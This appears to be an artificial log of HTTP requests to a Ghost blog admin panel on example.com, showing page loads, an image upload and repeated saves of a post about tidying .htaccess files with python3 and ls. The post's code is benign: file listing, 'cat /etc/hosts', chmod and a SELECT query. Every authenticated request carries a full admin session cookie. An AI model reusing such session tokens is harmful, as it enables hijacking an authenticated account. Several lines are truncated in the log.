{"method": "GET", "target": "/ghost/assets/container-D71ORA1Q.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/hover-card-Cnz0ewmR.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/filters-BcpL-PeQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/filter-bar-D1e2wPCO.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-reveal-on-mount-BnFofzIX.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-email-sending-status-CbZSbPwi.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-sending-eta-ifdScs48.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/nql-BKk2g5D7.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/nql-lang-BhvCNMUQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Ascheduled&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Adraft&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3A%5Bpublished%2Csent%5D&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/stats/posts-member-counts/", "headers": ["Host: example.com", "Content-Length: 40", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"postIds\":[\"6af45710d281b00001a598a4\"]}"}
{"method": "GET", "target": "/ghost/api/admin/themes/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/images/upload/", "headers": ["Host: example.com", "Content-Length: 508", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZpp0PMguEumdZ1a8", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "------WebKitFormBoundaryZpp0PMguEumdZ1a8\r\nContent-Disposition: form-data; name=\"file\"; filename=\"feature.png\"\r\nContent-Type: image/png\r\n\r\niVBORw0KGgoAAAANSUhEUgAAAHgAAABQCAIAAABd+SbeAAAAqElEQVR4nO3QAQkAIADAMOOYycTGsoXCHTzA2dhr6kLj+cEngQbdCjToVqBBtwINuhVo0K1Ag24FGnQr0KBbgQbdCjToVqBBtwINuhVo0K1Ag24FGnQr0KBbgQbdCjToVqBBtwINuhVo0K1Ag24FGnQr0KBbgQbdCjToVqBBtwINuhVo0K1Ag24FGnQr0KBbgQbdCjToVqBBtwINuhVo0K1Ag24FGnSrAwedWdHCzExoAAAAAElFTkSuQmCC\r\n------WebKitFormBoundaryZpp0PMguEumdZ1a8\r\nContent-Disposition: form-data; name=\"purpose\"\r\n\r\nimage\r\n------WebKitFormBoundaryZpp0PMguEumdZ1a8--\r\n"}
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8057", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "GET", "target": "/content/images/2026/11/feature.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&include=count.posts&filter=", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&include=count.posts&filter=tags.name%3A%7E%27PowerShell%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8088", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&include=count.posts&filter=tags.name%3A%7E%27python3%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8119", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e 